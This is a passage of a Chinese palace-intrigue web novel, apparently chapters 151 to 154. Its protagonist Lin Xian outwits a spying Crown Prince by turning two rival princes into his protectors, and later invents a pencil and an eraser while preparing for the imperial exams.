太子脑海中瞬间闪过这几个词,后背竟莫名生出一丝寒意!
这样的对手,远比那些只知道死读书、空谈道德的清流官员,要可怕得多!
因为他更了解现实,更懂得如何聚拢人心,也更难以用常规手段掌控!
周扬若有所思随手点了一些推荐菜,很快伙计端上了红白双拼的鸳鸯锅底和琳琅满目的菜品。
那翻滚的红汤散发出霸道浓烈的香气,诱人至极。
太子强压下心中的惊涛骇浪,依着伙计的指点,尝试着涮了一片毛肚。
入口的瞬间,麻辣鲜香!
一股前所未有的强烈味觉刺激,如**般在口中扩散开来!
太子猝不及防被辣得倒吸一口冷气,眼泪差点飙出来!但紧接着那种畅快淋漓的感觉,通体舒泰的暖意,又让他忍不住又涮了一片!
“果然……有其独到之处。”
周扬一边嘶嘶吸气,一边暗自思忖:“此物能风靡至此,绝非侥幸。这林闲于人心把握和这口腹之欲的钻研,可谓登峰造极。”
席间,一名护卫低声对同伴惊叹:“头儿,这味道……真**绝了!难怪这么多人抢着吃!比御膳房的菜都带劲!”
另一名护卫则更关注林闲,他边偷着打量边悄声道:“更绝的是那位解元公!你看他那架势,哪像个读书人?跟伙计没两样!可偏偏又让人觉得……不一般。邪门!”
侍卫首领瞪了他们一眼,低喝道:“噤声!莫要妄加评议!”但他自己看向楼下林闲的目光,也充满了惊疑不定。
这一顿饭,太子吃得五味杂陈。
火锅的美味让他印象深刻,但林闲的所作所为,却让他心中的忌惮和杀机,翻滚得越来越剧烈。
“此子……绝不可留!”
一个冰冷的念头,在太子心中疯狂滋生:“若让他入了朝堂得了势,凭借其能聚财能拢人能办事的水平必成心腹大患!必须趁其羽翼未丰,尽早铲除!”
然而,如何动手?
在江南地界,有周巡抚明里暗里护着,有赵王汉王的人盯着。
贸然行动极易打草惊蛇,甚至引火烧身
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太子目光阴鸷,盯着楼下那个忙碌而从容的身影,心中瞬间闪过无数个念头。或许……该在他最得意的地方,给他致命一击?比如,春闱?
一场暗藏杀机的风暴,已然在这火锅升腾的热气中悄然酝酿。
就在太子凝视着楼下那个忙碌而从容的身影时,正将一盘鲜切羊肉端给一桌客人的林闲,动作几不可察地微微一顿。
他并未抬头,也未曾望向二楼雅间的方向。
但眉梢却微不可察地轻轻一挑,仿佛某种被暗中窥视的微妙感觉,如蛛丝般轻轻拂过他的感知。
这种感觉转瞬即逝,若有若无。
林闲的脸上却没有流露出丝毫异样,他依旧面带微笑,耐心向客人介绍着涮肉的技巧。
恰在此时,一只不识趣的飞虫不知从哪个角落冒了出来,晕头转向在他面前盘旋挑衅。
若在平时,林闲或会不予理会。
但此刻,他眼中闪过一丝几不可察的厌烦,仿佛被什么更令人不悦的事情牵连。
他随手拿起桌上一张干净的垫纸,看也不看,手腕随意地一抖!
“啪!”
一声轻微到几乎可以忽略的脆响。
那只飞虫被精准拍中,瞬间扁瘪无声无息地粘在了垫纸上。
林闲手指轻弹,将那张包着虫子的垫纸,准确无误投入了不远处角落的泔水桶中。
整个动作行云流水自然至极,仿佛只是顺手处理掉了一点微不足道的垃圾。
做完这一切,林闲才仿佛自言自语般,带着一丝慵懒和不屑的低声,轻轻嘟囔了一句:
“嗤,垃圾……就知道偷偷摸摸。”
他的声音轻得似耳语,语气平淡得没有一丝波澜,仿佛在评论一件与己无关、且十分掉价的事情。
随即他便恢复了常态,继续着方才未说完的话。
语气温和将羊肉放入客人碗中,仿佛刚才那瞬间的厌烦和低语从未发生过。
只有二楼雅间内,全神贯注于他一举一动的太子周扬,凭借过人的读唇能力,隐约捕捉到那无声的唇语和那不屑一顾的神情!
他的瞳孔,猛地收缩了一下!
“他……发现我了?”
太子心中剧震!
这怎么可能?
我如此隐蔽!他……他那是何意?垃圾(口语)?
偷偷摸摸?
他在说那只虫子?
还是……在说我?!”
一股被轻视甚至被羞辱的怒火,瞬间冲上太子心头!
林闲那云淡风轻的态度,比任何严词厉色的反击,都更让他感到难堪!
这家伙……竟敢……竟敢如此?!
而楼下的林闲,在“处理”了那只苍蝇并“随口”吐槽之后,嘴角那抹微笑似乎丝毫未变,却仿佛多了一丝睥睨宵小的漠然。
他依旧没有看向二楼,但那不经意间流露出的蔑视,却像一记无声的耳光抽在了太子的脸上!
狂妄!简直狂妄至极!
太子握着茶杯的手,指节因用力而发白,杯中茶水荡漾不休。
他原本的计划,瞬间被这股难以言喻的羞辱感和更深的忌惮所打乱。
林闲则继续穿梭于食客之间,谈笑自若。
方才那拍虫低语的一幕,在喧嚣的火锅店里,没有引起任何其他人的注意。
但落在有心人太子眼中,却无疑是一次侮辱性极强的装逼——
仿佛在说:暗地的窥探者如飞虫令人厌烦,随手清理便是!
这场暗中的交锋,林闲未置一词辩解。
却已用最漫不经心的方式,表达了最极致的轻蔑。
太子的南巡,从一开始就注定了不会平静……
第151章 暗影惊鸿:定计驱虎狼
太子一行带着忌惮和羞辱,愤然离开元启火锅店。
他们自认为刚刚的密谋内容隐秘,天衣无缝。
可他们留下调查细作刚跨出店门,一道纤细的黑影便从后巷滑出,悄然走进火锅店喧闹异常的大堂,正是影刹。
每当夜深人静,影刹总会巡视身边林闲的一些产业。这既是检查明哨暗卡的警戒,也是收集三教九流汇聚而来的信息。
很快,她选了张最角落的小桌坐下。
随后美眸轻扫,要了一小锅清汤,几碟简单的素菜。
突然,影刹执筷的手一顿!
她的目光,下意识定格在雅间区楼梯口。
一个身着锦袍、正低头下楼的中年侧影,却让她的瞳孔骤然收缩!
“是他?!东宫侍卫副统领,‘铁手’严刚?!”
影刹心中剧震,她绝不会认错。
虽然对方换下了宫廷侍卫的制式盔甲,穿着寻常富户的衣裳。
但那人行走时步伐的独特韵律及那种掌控生死的冷厉,瞒不过她这等顶尖高手的眼!
太子身边的护卫怎会出现在这里?!还如此鬼鬼祟祟?!
影刹心中警铃大作,一股预感瞬间笼罩全身!
她强压下把剑的冲动,面上依旧不动声色,仿佛只是随意一瞥。
待那身影消失在门口,她才招来一个相熟且机灵的跑堂伙计,塞过去一小块碎银闲聊:“小哥,方才二楼雅间是哪路贵客?排场不小嘛,包了场?”
那伙计得了赏钱,又见是熟客,便笑嘻嘻地低声道:“可不是嘛!是一位北边来的豪商公子,气度不凡得很!带着几个随从包了‘听雨轩’,您是没看见,那公子哥儿吃相可斯文了,就是……好像有点心事重重的样子。”
“北边来的豪商公子?心事重重?”
影刹心中冷笑,瞬间将线索串联起来!
太子微服私访?秘密来到了先生的产业?
这绝非巧合!
她不再犹豫,身影几个闪烁,便悄无声息消失在店外的夜色中。
影刹速度提升到极致,直奔林闲下榻处而去!
客栈独立小院的书房内,灯火通明。
林闲一身月白寝衣,外罩一件宽松的锦袍,正慵懒地斜倚在软榻上。
他手中捧着一卷古籍,正就着明亮的烛火悠然推敲着经义微言。
“先生!”
影刹的倩影飘入书房,躬身后语气急促将火锅店所见及伙计之言毫无遗漏禀报。
林闲执卷的手微微一顿,目光从书卷上抬起。
他脸上非但没有惊容,反而嘴角勾起一抹似笑非笑的弧度。
“哦?”
他轻轻放下书卷,语气轻松得仿佛在听一则趣闻:“太子殿下竟如此屈尊降贵,亲自来品尝我这‘上不得台面’的火锅?啧啧,还真是……给足林某面子,赏光至极啊。”
影刹见林闲如此淡定心中稍安,但依旧急切道:“先生!太子此行绝非为口腹之欲!其侍卫首领严刚离去时神色凝重步履匆匆,似有要务在身。属下担心他们此番窥探,是为搜集对先生不利的实证。尤其是您不日即将进京赴考,身处虎狼之地,他们若在途中或京城发难,防不胜防啊!”
林闲闻言非但不惧,眼中反而闪烁起睿智而冷静的光芒。
他缓缓坐直身体,嘴角那抹笑意愈发深邃。
“影刹,你多虑了。”
他声音平稳,带着自信:“太子殿下这不是坐不住了,而是…… 亲自下场,来掂量我这颗‘棋子’的斤两了。他亲眼见到‘元启’的声势,感受到威胁了。这是好事,说明我们做得不错,已经让他……寝食难安了。”
“先生……”
影刹松了口气,但还是有些担忧。
林闲站起身踱步到窗前,望着窗外沉沉的夜色和天边那弯冷月,轻吐一口气悠悠道:“他既想玩阴的,想先下手为强,那我们便陪他玩玩。不过何必我们亲自下场与他东宫正面冲突徒耗力气?”
他蓦然转身看向影刹,语气斩钉截铁道:“影刹,你立刻去办两件事!”
“第一,加派最得力的手下,启用最高级别的‘暗线’,给我把太子一行在省城的一举一动盯死了。他们见了什么人,说了什么话,哪怕只是去茶馆听了个曲,我都要知道!但要切记,只观不动绝不打草惊蛇!”
“第二,也是最重要的一步——”
林闲的眼中闪过一丝如同老狐般的狡黠与冷厉,“将太子微服至江南,似对林解元颇为关注,恐于其进京路途不利这个消息,通过渠道透露给赵王府和汉王府安插在省城的核心耳目!”
他刻意加重了“关注”和“不利”二字,继续布置谋划道:“要让他们深信不疑——太子此举,意在掐断元启的源头,损害的是他们共同的钱袋子和未来的财路!这是在断人财路!他们若还想安安稳稳分元启这杯羹,就得想办法保住我这棵摇钱树!”
影刹瞬间完全领会,她心悦诚服躬身:“先生高明!此乃驱虎吞狼之计!借赵王、汉王之力,来对付太子可能的暗算!我们只需静观其变,甚至……”
“甚至,还可以再添把火。”
林闲接过话头,嘴角那抹冷笑愈发明显:“比如让赵王和汉王的人偶然发现,太子的人似乎也在暗中调查他们两位王爷在江南的产业和人手…… 把这潭水,搅得更浑一些。”
“是!属下明白!定将此计执行得天衣无缝!”
影刹激动领命,身影一晃融入夜色,执行这招堪称毒辣的“驱虎吞狼”之计去了。
书房内,重归寂静。林闲重新坐回软榻,拾起那卷古籍,却并未立刻阅读。
他望向窗外,但见夜风渐起云层翻涌,渐渐遮掩了天边那弯冷月,天地间一片晦暗不明,正是山雨欲来风满楼之势。
然而林闲的心中,却是一片澄澈通明,并无半分波澜。
他深知真正的棋手,从不轻易置身于险地。善于借力打力洞察时局,让对手在迷雾中互相撕咬,自己则稳坐钓鱼台,静观其变,方是上上之策。
他的目光,无意间落在书案。
那里摆放着一盆友人赠送的矮小青松盆景,虽植株不大却枝干虬劲针叶苍翠。扎根于浅盆薄土之中,任尔窗外风声呼啸,我自岿然不动,透着一股沉稳坚韧、傲霜凌寒的气度。
见此青松,林闲心有所感,他提起案上狼毫,铺开一张素笺,笔走龙蛇间一行行诗句流淌而出:
“幽窗立孤松,虬枝向苍穹。
根扎磐石稳,任他八方风。
云涌星月隐,我自心灯明。
且待惊雷起,笑看九霄清。”
诗句浅白如话,却意蕴深远。以窗外青松自比,托物言志:虽身处幽室(喻指当前局势复杂、自身暂居江南),但志存高远(虬枝向苍穹)。根基牢固,实力傍身(根扎磐石稳),故能从容面对各方势力的明枪暗箭、风雨来袭(任他八方风)。即便外界局势变幻莫测,云谲波诡(云涌星月隐),自己内心依然澄澈明亮,智珠在握(我自心灯明)。平静等待着那最终对决时刻的来临(且待惊雷起),届时必将扫清寰宇,笑傲群伦(笑看九霄清)!
这既是对当前处境的写照,更是其强大自信与远大抱负的宣言!
搁笔后林闲轻轻吹干墨迹,凝视着这首诗,眼中闪过一丝锐利的光芒。
“太子啊太子,你想动我?先问问你那两位‘好弟弟’答不答应吧。”
他低声自语,声音平静得可怕。
“这京城之路,看来是不会寂寞了。而这盘棋,最终由谁执子,由谁收官,还未可知呢。”
风暴将至。
而林闲已布好棋局,只待请君入瓮……
第152章 双王闻讯雷霆怒,暗布天罗护闲生
影刹的效率高得惊人。
不到一夜功夫,那封关于“太子微服至江南,似对林解元不利”的“警报”,便通过数条互不交叉的渠道,精准送达赵王周宸和汉王周阳安插在江南的核心负责人手中。
翌日清晨,消息便以八百里加急的速度,传回京城。
彼时赵王周宸正心情愉悦地在书房内,把玩着刚刚送到的一套“元启”至尊限量版鎏金香皂礼盒。
这礼盒做工精美香气雅致,是林闲特意命人送来联络感情的,深合赵王喜好。
他正盘算着如何借助“元启”的利润,进一步扩充势力。
心腹幕僚匆匆入内,面色凝重地呈上密报。
赵王初时随手接过,但目光扫过纸上内容时,脸上的惬意瞬间凝固。
取而代之的是难以置信,继而转为滔天怒火!
“啪!”
一声巨响!
赵王猛地将手中那盒价值不菲的香皂狠狠顿在书案上,震得案上笔架乱颤!
他霍然起身,怒极反笑,声音如同寒冰:“好!好一个太子!好一个周扬!”
他咬牙切齿跳脚道:“本王好不容易才搭上林闲这条线,元启这棵摇钱树刚刚枝繁叶茂,财源广进!他东宫 眼红病犯了吗?竟想暗中下黑手,断本王的财路?!难道他对自己的股份还不满足吗?”
他越说越气,一脚踢翻身前的绣墩再次咆哮:“断人财路,此乃不共戴天之仇!他真当这天下是他东宫一家的私产不成?可以随心所欲,想掐谁的脖子就掐谁的脖子?!林闲若是进京路上有个三长两短,或是被太子威逼利诱夺了产业,本王每年数十万两的白花花银子找谁要去?!”
“绝不能让太子得逞!”
赵王思虑了片刻,眼中凶光毕露。
他立刻召来心腹谋士和侍卫统领,声音斩钉截铁,带着凛冽的杀意:“传本王令!”
“第一,江南方面所有暗线,给本王像钉子一样盯死太子的人!他们放个屁,本王都要知道是香的还是臭的!”
“第二,立刻从王府亲卫和暗堂中,抽调一队最精锐的好手,要绝对可靠身手高强的。命令其星夜兼程,潜入江南至京城的沿途要道,给本王暗中护卫林闲进京!”
“第三,” 他语气森然,“若是发现太子的人马敢对林闲伸爪子,不管明枪还是暗箭,给本王往死里打!不必请示,不必留情面!打死了算本王的! 要让太子知道,碰了不该碰的东西,会有什么下场!”
赵王沉吟片刻,眼中闪过一丝狡黠:“第四,立刻给汉王那边递个话,就说太子欲对元启这根咱们共同的钱串子不利,问他是打算忍气吞声看着银子打水漂,还是跟本王联手,给太子点颜色瞧瞧?”
“是!王爷!属下遵命!”
心腹凛然领命,匆匆而去。
几乎在同一时间,汉王周阳的帅府之中,也上演着类似却更具行伍特色的一幕。
汉王周阳正在校场上,顶风冒雪亲自操练一队新兵。
他一身戎装,须发戟张,正在训斥一个动作不到位的士卒。
这时,副将手持一封插着羽毛的密信,快步奔上演武台。
汉王接过密信拆开一看,铜铃般的眼睛瞬间瞪圆!他脸上的横肉抽搐了几下,猛地发出一声如同受伤猛虎般的咆哮!
“他娘的!放他娘的狗臭屁!”
汉王怒骂一声,猛地抢过身旁亲卫手中的长枪,朝着演武台边缘一根碗口粗的拴马桩,狠狠一枪劈下!
“咔嚓!” 一声脆响!那坚实的木桩竟被硬生生劈成两段!木屑纷飞!
“太子?!周扬那个只会躲在京城玩女人的软蛋?!” 汉王胸口剧烈起伏,唾沫星子横飞,“他竟敢把主意打到林闲头上?打到老子的‘军需库’头上?!”
他一把将密信揉成一团,狠狠砸在地上,对着副将吼道:“林闲那小子是个人才!他搞出来的香皂、清口胶,老子的兵用了少生病!火锅能让将士们冬天吃得暖!还有那物流镖局,能帮老子运军粮!这都是实实在在的好处!太子想动他?问过老子麾下几万把战刀没有?!”
汉王大手一挥,命令简单粗暴,“立刻从老子的亲军铁骑营里,给老子挑一队最好的斥候和骑射好手!妈的,要见过血、杀过人的!给老子扮成贩马的商队,带上硬弓劲弩,沿着江南到京城的路,给老子暗中护住林闲!”
他眼中凶光四射,补充道:“给老子放出话去!沿途道上的人都给老子听着!谁敢动林闲一根汗毛,就是跟老子汉王府过不去!老子灭他满门!”
“要是碰见东宫那帮没卵子、只会耍阴招的阉货或者暗探,”
汉王狞笑一声,阴森下令:“不必废话!给老子直接射杀!把尸体给太子送回去!让他知道,边军的东西,沾着血,不是他那帮废物点心能碰的!”
“再给赵王回话!”
汉王声若雷霆:“就说这事儿,老子跟他联手干了!妈的,太子敢伸手,就剁了他的爪子!让他知道,这天下,不是他东宫说了算!”
就这样,在太子周扬还自以为行动隐秘谋划着如何“请君入瓮”之时,赵王和汉王这两大势力,已经因为共同的利益(保护摇钱树)迅速联手,布下一张针对太子势力的拦截大网!
赵王府的精锐暗探与杀手,如幽灵般潜入沿途城镇,严密监控着太子人马的动向。
汉王府的铁血骑射,则如同狩猎的狼群,在官道山林间游弋,杀气腾腾。
一张无形却致命的大网,已然悄然张开。
而网中的猎物却浑然不觉,依旧在做着美梦。
风暴,即将来临。
就在赵王与汉王因震怒而调兵遣将暗布杀局,这场即将到来的风暴的真正核心——林闲,却依旧安坐于江宁城那处静谧的客栈小院书房内。
窗外天色渐晚,华灯初上。
书房内烛火通明,暖意融融。
林闲并未如寻常举子般埋头苦读,而是正悠然自得地进行着一套繁琐而优雅的茶道仪式。
他面前的红泥小炉上,紫砂壶正咕嘟咕嘟冒着热气。
一缕缕清雅的茶香,混合着书卷的墨香,在室内静静弥漫。
他神情专注,动作行云流水,烫杯、洗茶、冲泡、分汤,每一个步骤都一丝不苟,充满了某种韵律感。似乎外界的一切纷扰、暗处的刀光剑影,都与他无关。
这份超然物外的镇定,与远方正在紧锣密鼓部署的紧张氛围,形成了极其强烈的对比。
待一杯汤色澄澈、香气馥郁的明前龙井沏好,林闲端起那如玉的瓷杯置于鼻尖轻嗅,闭目享受了片刻那沁人心脾的茶香。
随后他缓步走至窗前,推开半扇窗户,任凭微凉的晚风拂面。
“那边,应该已经有所动作了吧?”
他的目光仿佛穿透千山万水,越过了繁华的江宁城,遥遥投向了北方——那权力交织、风云际会的京城方向。
林闲眼中没有丝毫紧张或忐忑,只有一种洞悉世情、智珠在握的深邃与平静。
他轻呷一口香茗,任由那清冽甘醇的滋味在舌尖绽放,随即一首七言绝句,如同溪流般自然地从他口中流淌而出,声音不高,却字字清晰,带着一种难以言喻的魔力:
“江宁春暖试新茶,北望京华云欲遮。
且待风雷激荡后,闲看庭前满城花。”
诗句平白如话,却意境高远!
这既是对自身处境的写照,更是其强大自信与必胜信念的宣言。
任凭你太子阴谋诡计,双王厉兵秣马,我自岿然不动,稳坐钓鱼台,一切尽在掌握之中!这“闲”字,既是他的名字,更是他此刻心态与境界的完美诠释!
吟罢,林闲嘴角勾起一抹云淡风轻的笑意。
他将杯中残茶一饮而尽,仿佛饮下的不是茶,而是那即将到来的胜利。
他转身回到书案,拿起那卷古籍阅读起来。
窗外风声渐紧,云层愈厚,一场真正的风暴即将来临。
而风暴眼中的林闲只待那风雷激荡之时,以最从容的姿态入主京华!
第153章 笑看风云起,安坐钓鱼台
是夜,林闲还在品茗看书。
书房内烛火摇曳,将一室映照得温暖而明亮。
红泥小炉上泉水将沸未沸,发出细微的松涛之声。
突然一道纤细的黑影,再次滑入书房,正是影刹。
她单膝跪地,将赵王与汉王方面传来的回馈,原原本本禀报给林闲。
“先生,赵王府与汉王府均已明确回复!”
影刹声音清冷中带着振奋,“赵王殿下震怒,已下令抽调精锐好手,暗中护卫先生进京之路,并言明若遇东宫阻拦,格杀勿论!汉王殿下更是直接,已派出一队铁骑斥候扮作商队沿途警戒,他们放话出来谁敢动先生,便是与他汉王府为敌!”
她略微停顿,语气中透出一丝隐忧:“只是……如此一来,先生此番进京,明里暗里恐怕已成赵王、汉王与太子三方势力角逐的漩涡中心。这路途……”
听完汇报,林闲执壶的手稳如磐石,缓缓将沸水注入紫砂壶中。
他并未立刻回应,而是将一杯香气扑鼻的香茗推到影刹面前。
“辛苦了,先喝杯茶润润喉。”
林闲语气温和,仿佛在谈论一件寻常小事。
他自己亦端起一杯,先观其色再闻其香,最后才轻呷一口,脸上露出满足的神情。
他抬头突然看到影刹的担忧,忍不住轻笑出声。那笑声轻松写意,带着几分戏谑和洞悉一切的玩味。
“影刹你看,这世间之事有时就是如此奇妙,甚至……有些滑稽。”
林闲放下茶杯,目光清亮,悠然笑道:“太子原本想躲在暗处,给我这个‘不识抬举’的解元使点绊子,玩一手‘螳螂捕蝉’。结果呢?”
他嘴角勾起一抹讥诮的弧度:“他这石头还没搬起来,反倒先砸了自己的脚!不但没能奈何我分毫,反而阴差阳错,促成了他那两位素来不太对付的‘好弟弟’——赵王和汉王暂时联手,调兵遣将地要来保护我这棵摇钱树。这算不算是…… 偷鸡不成蚀把米,赔了夫人又折兵?”
“噗嗤~”
影刹闻言没憋住笑场,紧绷的神情也松弛下来。
她的红唇微不可察弯了弯:“先生神机妙算,属下佩服。如今有赵汉两王府的精锐人马在暗处护卫,太子的人恐怕难有作为了。只是……先生真不担心,这一路成了他们三方明争暗斗的战场?”
“战场?舞台?”
林闲挑眉,笑容更加灿烂:“那就让他们唱戏去呗! 咱们就安安稳稳泡上一壶好茶,备上几碟点心,掀开车帘看戏就好!”
他语气轻松,甚至带着几分期待:“说不定沿途还能免费看几场‘狗咬狗,一嘴毛’的精彩大戏!看他们三方如何互相试探、互相下绊子、甚至可能擦枪走火!这漫长的进京路途,有这等好戏助兴,岂不快哉?还能省了请戏班子的银子!”
“太子本想当个猎人,布下陷阱等着我这只‘肥羊’。”
林闲望着窗外的月色,语气带着一丝冰冷的嘲讽:“可他万万没想到,他自己反倒成了最香的诱饵,一下子引出了赵王、汉王这两头本就对他虎视眈眈的猛虎!这下倒好,看谁还敢轻易来动我这条被两头猛虎盯着的‘小鱼’?”
他回身看向影刹,眼中闪烁着智珠在握的光:“这感觉倒也不错。免费多了两批顶尖的护卫,还是心甘情愿、抢着来护驾的那种。太子殿下这份‘大礼’,我林闲,就却之不恭了!”
言罢林闲重新坐回案前,伸手拿起那卷翻了一半的《春秋公羊传》,旁若无人边阅边哼小调。
林闲时而提笔批注,时而轻哼唱道,完全沉浸到经义的微言大义之中。仿佛外界那因他而起的惊涛骇浪、三方势力的明枪暗箭都不过是过眼云烟,与他毫无干系。
这份泰山崩于前而色不变的镇定,这份谈笑间,便将一场致命危机化为无形,甚至反手将危机转化为助力,引得当朝两位王爷为自己“保驾护航”的手段,让侍立一旁的影刹心中掀起了惊涛骇浪,敬佩之情无以复加!
“先生之智,近乎妖矣……”
影刹在心中无声感叹。
影刹恭敬地行了一礼,身影微动便欲如往常般悄无声息地退入阴影之中。
然而就在她转身的刹那,林闲恰好伸手去拿案几另一侧的茶巾,修长的手指不经意地轻轻擦过了她正欲收回的手背!
那触碰极其轻微,短暂得如蜻蜓点水。
但影刹却似被一道细微的电流击中,整个身体几不可察地微微一僵!
一股灼热的温度,瞬间从那一小片神经蔓延开来,直冲耳根!
她常年隐匿于黑暗、执行各种危险任务而练就的冰封之心,此刻竟不受控制地剧烈跳起来…..
影刹脸上虽因常年不见日光显得有些苍白,却悄然飞起了两抹极淡的红晕,幸好有阴影和惯常的冷峻表情作为掩饰。
“先……先生,属下告退。”
影刹迅速垂首,声音比平时更低沉急促了一分,带着一丝几不可闻的慌乱。
她不敢抬头去看林闲的表情,生怕对方察觉到自己的失态。
影刹心中却像投入了一颗石子的湖面,涟漪阵阵间继而掀起惊涛骇浪:
“我这是……怎么了?”
她暗自心惊,一股从未有过的羞赧与慌乱席卷而来:“不过是无意间的触碰……以往执行任务,更危险的近身接触也不知经历过多少,为何偏偏……偏偏在先生面前……”
脑海中不受控制地浮现出林闲方才谈笑风生的从容模样,那深邃的眼眸,那云淡风轻却足以搅动风云的笑容……
影刹只觉得脸上那刚褪下去一丝的热意,又猛地涌了上来。
但下一秒,一个身影清晰浮现在她的脑海——苏元,苏大家。
那个与先生琴瑟和鸣、心意相通的女子。先生为了她,可以精心布局,可以千里传讯,那份毫不掩饰的牵挂与维护,是那般明显……
“影刹啊影刹,你在痴心妄想什么?!”
一股带着自嘲的刺痛感扎进她的心底:“先生的心中,早已有了苏大家那样明月般的人儿。你算什么?一个隐匿于暗处的影子,一柄为他扫清障碍的利刃罢了。你的职责是保护他,而非生出这些不该有的、亵渎了他的妄念!”
她用力咬了下舌尖,疼痛让她瞬间清醒了不少,却也带来一丝苦涩:“是啊,先生待我再信任,也终究是主从之分。他予我新生,我这条命都是先生的。能远远守着护他周全,看他成就一番惊天动地的事业,便已是天大的恩赐……我怎敢,又怎能,奢求更多?”
“可是……”
心底那微弱的声音仍在挣扎:“只是这样远远看着,心为何还是会痛……”
这份清醒认知带来的酸楚与无奈,比方才那瞬间的悸动更让她难以承受。
她不敢再停留,身形一闪以比平时更快的速度融入阴影之中。
空气中只留下一缕冷冽清香,以及那被她强行压下的倾慕。
而端坐于案前的林闲,似乎全然未觉方才那瞬间的微妙与身后之人汹涌的内心。
他的心思或许早已飞向了西北那片广袤的天空,飞向了那个能与他琴音相和、心意相通的女子身边。
林闲依旧神情专注,目光聚焦书卷,仿佛刚才真的只是一次无意的触碰,未曾在他心中留下任何痕迹。
这份无意间的“靠近”与“疏离”,这份她心知肚明的“不可能”,更让隐于暗处的影刹,心中泛起无尽的酸涩与失落。
但最终所有这些私心杂念,都化为了更坚定的决绝。
她将这份注定无果的情愫,更牢固埋藏于心底最深处,彻底转化为最纯粹的忠诚与最锋利的刃。
“能成为您的影子,为您斩开前路荆棘,便是影刹此生……最大的幸事与归宿了。” 她在心中无声地、郑重地立下誓言,眼神重新变得冰冷而锐利,如同出鞘的寒刃,扫视着窗外沉沉的夜色,将所有可能威胁到先生的危险,都纳入必杀的名单。
窗外夜风拂过树梢,发出沙沙轻响,似在叹息这场注定无声也无果的情涌。
而林闲则在宁静氛围中,继续为即将到来的春闱做最后的冲刺。
进京之路注定不会平静,甚至可能步步杀机,但有了这“两王护驾”的意外局面,反而变得前所未有的安全,甚至……有趣起来。
林闲很期待,当太子周扬发现自己精心布置的陷阱,非但没能困住猎物,反而成了赵王、汉王与他东宫势力公开角力、互相撕咬的角斗场时,那位高高在上的储君,脸上会是什么精彩的表情。
想必,一定很下饭吧。
林闲想着,嘴角不由浮现出一抹意味深长的笑意,随即又沉浸到书海之中。
风云已起,而他正闲庭信步,笑看潮生!
第154章 格物新篇:巧制铅笔擦
春闱的脚步,日益临近。
江宁城中,备考的氛围越来越紧张。
林闲的复习,也进入最后的冲刺阶段。
连日来他埋首于书山,时而誊写经义要点,时而草拟策论提纲。
在此过程中,他再次发现问题堵点。
这日,林闲正撰写一篇关于漕运改革的草稿。
因为一处关键数据记忆模糊,需查阅典籍确认。
可待他放下笔查证后,方才的灵感竟消散大半!他看着纸上那需修改的谬误之处,不由得微微蹙眉。
毛笔书写虽极具风雅,但在争分夺秒的备考过程中,其弊端也暴露无遗:书写速度慢,一字一句需凝神运笔。一旦写错修改极为麻烦,或用刀刮易损纸,或用雌黄涂改有碍观瞻。更不便的是需要随时研墨铺纸……
“若是有一支笔,能如使臂指书写迅疾,字迹清晰且写错还能随意擦去,那该多好?”
这个念头如闪电般划过林闲的脑海,他突然想到现代司空见惯的两样神器——铅笔和橡皮擦!
“此二物原理简单,制作工艺对此世而言,绝非无法逾越的天堑!”
林闲眼中,瞬间爆发出光彩,备考的疲惫仿佛一扫而空!
他立刻放下毛笔,大步流星钻进那间堆满各种稀奇古怪材料和工具的“格物工坊”!
工坊内,灯火通明。
林闲挽起袖子,立刻投入了“铅笔”的研制中。
研制的核心,在于笔芯。
林闲深知,需一种既有颜色又质地均匀的材料。
石墨(黑铅)是首选,但纯石墨粉太软易碎且脏手。
他尝试多种矿物粉和粘合剂的配比:最初用高岭土(黏土)混合石墨粉加水调匀,塑形后放入特制的小窑中低温烧结。但不是火候过了,笔芯硬如铁钉划纸沙沙作响;就是火候不足,笔芯软烂一写就断。
“看来,单是黏土和石墨还不够。”
林闲毫不气馁,摩挲着下巴目光扫过材料。
突然,他视线落在了一小罐蜂蜡上!
“加入蜡质,或许可以增加润滑度和强度?”
想到就试!
林闲重新调整配比,在石墨粉和黏土中加入了少量融化的蜂蜡,反复揉捏均匀再次塑形烧结。
奇迹果然产生了!
这次出炉的笔芯,色泽乌黑均匀,用手指轻划质地坚韧了不少。在纸上试写时流畅度大大提升,字迹无比清晰!
“搞定!”
林闲脸上露出欣喜的笑容。
接下来,笔杆的选材和制作则相对简单。
林闲选用木质轻柔、易于切削的雪松木,用特制的刨刀开出细槽,将制好的笔芯放入槽中。
随后他再用鱼鳔胶粘合上另一片打磨光滑的木片,最后将笔杆削成标准的六角形以防滚动。
他还别出心裁设计了一个手摇式刨笔刀,用一小块淬火精钢打磨出锋利的刃口,嵌入硬木底座后只需轻轻摇动,便能将笔尖削得又尖又匀!
铅笔搞定后,林闲开启橡皮擦研制。
橡胶树此时尚未传入中原,但这难不倒林闲。
他凭借前世模糊的记忆和此世对植物特性的了解,将目光投向了几种具有弹性和吸附性的天然树胶。
经过反复筛选试验,他最终锁定了一种类似杜仲胶的弹性树脂。
采集来的树脂块先经过捶打增其韧性,然后隔水加热使其软化,再加入少量滑石粉减少粘性,最后倒入特制的方形小木模中冷却定型。
由此制成的小方块呈淡黄色,略带弹性。
林闲迫不及待地拿起一块,在刚才用铅笔写字的纸上一擦….
奇迹再次发生了!
纸上清晰的石墨字迹,随着橡皮的擦拭被轻松擦去,只留下淡淡的痕迹,纸张却完好无损!
其效果虽不如现代橡皮擦那么干净彻底,但已远胜于此时用面包屑或细砂纸打磨的原始方法!
“妙极!”
林闲忍不住赞了一声,随后喊来工匠讨论量产……
两天后,第一批散发着木材与石墨清香的“元启速记笔”(铅笔) 和略带弹性的“元启修正擦”(橡皮擦) 试制成功!
林闲当着大家面,亲自开启试用。
他手持铅笔,在一张白纸上飞速书写,笔尖与纸张摩擦发出轻微的沙沙声,字迹流畅清晰而速度更是远超毛笔!
“三爷这笔…好快!”
众人感觉眼花缭乱间,由衷暗赞。
写至一处,林闲却邪魅一笑故意写错一字。
最后他拿起橡皮擦轻擦拭几下,错字便消失无踪。
修改之便捷,令人叹为观止!
“好!太好了!”
工匠们瞪大眼睛,难掩激动。
林闲淡然一笑,对管家和工匠们道:“此二物书写迅捷,修改便利,携带容易!尤其这字迹可擦除之特性,更是神妙无比!”
老管家激动得胡须微颤,拿起一支铅笔,手有些发抖:“老……老爷!这……这简直是神物啊!这写字的速度,这修改的方便……老奴活了这么大岁数,闻所未闻,见所未见!老爷真乃神人也!”
一名老工匠也啧啧称奇:“三爷!笔芯的配方和这橡皮的材质,真是巧夺天工。尤其是这能擦掉字迹的特性,这……这要是用于账目核对、文书草拟,得省去多少麻烦!”
